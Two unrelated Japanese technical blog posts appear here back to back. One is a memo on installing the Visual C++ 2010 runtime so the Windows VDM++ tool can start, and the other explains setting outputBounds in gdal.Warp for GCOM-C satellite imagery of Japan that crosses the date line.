これは **M**icrosoft **V**isual **C**++ **R**untime version **100** が存在しないことによるエラーです。dllは **D**ynamic **L**ink **L**ibraryの略で実行時に動的にリンクされる言語ライブラリのことです。ランタイムライブラリ、または略してランタイムと呼ばれるファイルです。

VDM++の検証ツールWindows版はMSVC++で実装されていることがわかります。MSVC++の内部バージョン100はMSVC++2010です。WindowsOSが新しくなると古いバージョンのMSVC++ランタイムライブラリが格納されていない場合があります。

そのため、「Microsoft Visual C++ 2010 Service Pack 1 再頒布可能パッケージ」をダウンロードしてインストールしようとしたのですが、ダウンロードサイトの情報が更新されて意外と発見しづらかったため、備忘録として残しておきます。

## 古いランタイムが存在しないときに起こりうる問題
この件はVDM++の検証ツールに関わらず、古いランタイムで実装されたアプリケーションを新しめのWindowsで起動しようとした際に、古いランタイムが存在しないときに起こりうる問題として応用可能です。

# 2023/10/21時点 「Microsoft Visual C++ 2010 Service Pack 1 再頒布可能パッケージ」ダウンロードリンク

[Microsoft Visual C++ 2010 Service Pack 1 再頒布可能パッケージ MFC のセキュリティ更新プログラム](
https://www.microsoft.com/ja-JP/download/details.aspx?id=26999)

## ３つのWindowsOSアーキテクチャ
ここから下記の３つのWindowsOSアーキテクチャに対応したランタイムがダウンロードできます。
vcredist_ia64.exe Itanium
vcredist_x64.exe
vcredist_x86.exe

CPUがItaniumのパソコンは今日ほぼ見受けられませんが、パソコンのシステム情報からCPUがx64なのかx86なのかを確認して対応するインストーラをダウンロードしましょう。

[^1]: IBMのウィーン研究所で1960年代から70年代にかけて開発された形式手法。その実装には1996年にISO標準（ISO_IEC_13817-1）となったVDM-SLと、そのオブジェクト指向拡張のVDM++がある。
[^2]: FMVDM　[VDMTools VDMTools](http://fmvdm.org/vdmtools/index-ja.html)
[^3]: FMVDM　[VDMTools リリース版 (9.0.7) Windows VDM++](http://fmvdm.org/VDMTools/Windows/setuppp-9.0.7-vs10-x64.exe)
gdal.Warpで日本領域の投影変換を行う際のTIps

# 状況
JAXAのGCOM-Cという衛星データを触ります。GCOM-Cという衛星から日本領域のデータをダウンロードしてきてもろもろの前処理を行うときに困っていた問題が最近解決したので解決策を残しておきます。

# 問題
![スクリーンショット 2023-10-20 16.26.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/845778/0d6bfd20-2bdb-219c-bb23-93be4bc61267.png)
このような日本領域のグレースケール画像が欲しいのですが、gdal.Warp()で投影変換すると。


![スクリーンショット 2023-10-20 16.27.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/845778/9a8c3f9d-a98c-506b-0233-331300f47572.png)

このような横長の画像になってしまいます。
gdal_translateではこのような挙動は見られないので、それぞれのデフォルトセッティングに影響がありそう。

# 解決策
geo referenceから、output Boundsを正しく定義する必要がありました。

例えば日本領域を統合したtif画像のメタデータはこのように表示されます。

```
Metadata:
  AREA_OR_POINT=Area
Image Structure Metadata:
  COMPRESSION=LZW
  INTERLEAVE=PIXEL
Corner Coordinates:
Upper Left  (10007554.678, 5559752.599) (140d 0'55.68"E, 50d 0' 0.20"N)
Lower Left  (10007554.678, 2223901.040) ( 95d46'34.04"E, 20d 0' 0.08"N)
Upper Right (14455356.757, 5559752.599) (157d45'19.57"W, 50d 0' 0.20"N)
Lower Right (14455356.757, 2223901.040) (138d20'35.83"E, 20d 0' 0.08"N)
Center      (12231455.717, 3891826.819) (134d17' 7.52"E, 35d 0' 0.14"N)
```

これを見ると、Upper Rightの座標のみ西経が使われていることがわかります。日付変更線を超えてしまっているからです。

gdal.Warpでは投影変換を行うときに、東経180度の続きに西経180度が繋がっていないのだと思います。これを解決するためには、まず東経と西経の表記を統一し、そこから変換対象の画像のminX, minY, maxX, maxYの値を正しく取得する必要があります。

```python
options={"outputBounds": (minX, minY, maxX, maxY)}
gdal.Warp(output_file, input_file, options=gdal.WarpOptions(**options))
```

ここでは、Lower Leftの座標とUpper Rightの座標がそれぞれのmin maxになります。